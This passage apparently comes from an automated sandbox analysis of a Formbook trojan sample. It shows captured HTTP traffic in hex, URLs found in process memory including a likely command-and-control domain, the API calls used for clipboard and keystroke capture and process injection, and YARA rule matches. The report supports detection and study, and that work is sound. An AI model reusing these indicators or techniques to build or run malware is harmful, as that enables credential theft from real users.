0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:47:34 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:49:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ouS10xTwD8ru2V88eyeaUNzDjjw3jcB4v0AGRb785Rx3vIc0iiXEEnHV%2FqKaKJt1ZsnwxtmHdX7wth%2FnmdEatUUiL%2Bh%2FJ7DHbeCP2TPGIf%2BFlS6sFwN5hHHXVXWCxJIGz6a9eA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c8a7202efc44370-EWRContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:49:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7WQdDnWPed89HzWGgTf51KdnXSFEtI3uir7Bx6AExEa38vvlI2f7jwfuMiuX1GLk3qOM%2F%2FpJV5mKz%2FBAdiMSqk39Uo9HMeDDxeIB%2Blsq38rNqa44wCocskp54eRP323TYLhToQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c8a7212b843438b-EWRContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:49:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Di8wk5AqH3nA9jjmt6k2vVl9RnR7jhFGrz0ojU7e09kNJ%2BtxUYtIa5ipTpIiYztYEA19NgnQLpOw2wE8JLB58Z5zfQL%2B5vhXHa%2Bad0LpMFY4Lsv8M7LLyYsX5NV5Tl9sAr85cw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c8a72244da2b9c5-EWRContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:49:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b02zpv%2BTZ0k02sDOFHzZyUuvMqFcsCQ9EePCYzr5Vhd53SM5QjSsLymWlfvnX7C8qeaGAQhvzwffFkaham4A45glhKEdHLAUitxRVxuStlepiJqHDWEB7P5REusFuPVgAtGQsg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c8a7235eb98c461-EWRData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0

Source: FrywuFHvnDbLo.exe, 00000005.00000002.3548998319.00000000052C5000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.b5x7vk.agency
Source: FrywuFHvnDbLo.exe, 00000005.00000002.3548998319.00000000052C5000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.b5x7vk.agency/zznj/
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mstsc.exe, 00000003.00000002.3548096253.000000000556C000.00000004.10000000.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.000000000385C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: mstsc.exe, 00000003.00000002.3546768186.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: mstsc.exe, 00000003.00000002.3546768186.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: mstsc.exe, 00000003.00000002.3546768186.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: mstsc.exe, 00000003.00000002.3546768186.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: mstsc.exe, 00000003.00000002.3546768186.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: mstsc.exe, 00000003.00000002.3546768186.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: mstsc.exe, 00000003.00000003.1991950984.0000000007622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: mstsc.exe, 00000003.00000002.3548096253.0000000005D46000.00000004.10000000.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.0000000004036000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3FPR_xXrA%3Dn
Source: mstsc.exe, 00000003.00000002.3548096253.00000000050B6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3549606840.00000000073A0000.00000004.00000800.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.00000000033A6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://whois.gandi.net/en/results?search=ultraleap.net
Source: mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: mstsc.exe, 00000003.00000002.3548096253.00000000050B6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3549606840.00000000073A0000.00000004.00000800.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.00000000033A6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.gandi.net/en/domain

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007E407C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_007E407C

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007E427A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_007E427A

Source: C:\Users\user\Desktop\rP0n___87004354.exe

0_2_007E407C

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007D003A GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_007D003A

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007FCB26 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_007FCB26

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.2490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.2490000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.2490000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00773B4C
Source: rP0n___87004354.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: rP0n___87004354.exe, 00000000.00000000.1687919642.0000000000824000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c55106b3-0
Source: rP0n___87004354.exe, 00000000.00000000.1687919642.0000000000824000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_6be9a8d1-6
Source: rP0n___87004354.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e9c1548a-6
Source: rP0n___87004354.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_9388454b-5

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024BC553 NtClose,	1_2_024BC553
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72B60 NtClose,LdrInitializeThunk,	1_2_02F72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_02F72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F735C0 NtCreateMutant,LdrInitializeThunk,	1_2_02F735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F74340 NtSetContextThread,	1_2_02F74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F74650 NtSuspendThread,	1_2_02F74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72AF0 NtWriteFile,	1_2_02F72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72AD0 NtReadFile,	1_2_02F72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72AB0 NtWaitForSingleObject,	1_2_02F72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72BF0 NtAllocateVirtualMemory,	1_2_02F72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72BE0 NtQueryValueKey,	1_2_02F72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72BA0 NtEnumerateValueKey,	1_2_02F72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72B80 NtQueryInformationFile,	1_2_02F72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72EE0 NtQueueApcThread,	1_2_02F72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72EA0 NtAdjustPrivilegesToken,	1_2_02F72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72E80 NtReadVirtualMemory,	1_2_02F72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72E30 NtWriteVirtualMemory,	1_2_02F72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72FE0 NtCreateFile,	1_2_02F72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72FB0 NtResumeThread,	1_2_02F72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72FA0 NtQuerySection,	1_2_02F72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72F90 NtProtectVirtualMemory,	1_2_02F72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72F60 NtCreateProcessEx,	1_2_02F72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72F30 NtCreateSection,	1_2_02F72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72CF0 NtOpenProcess,	1_2_02F72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72CC0 NtQueryVirtualMemory,	1_2_02F72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72CA0 NtQueryInformationToken,	1_2_02F72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72C70 NtFreeVirtualMemory,	1_2_02F72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72C60 NtCreateKey,	1_2_02F72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72C00 NtQueryInformationProcess,	1_2_02F72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F72DD0 NtDelayExecution,	1_2_02F72DD0
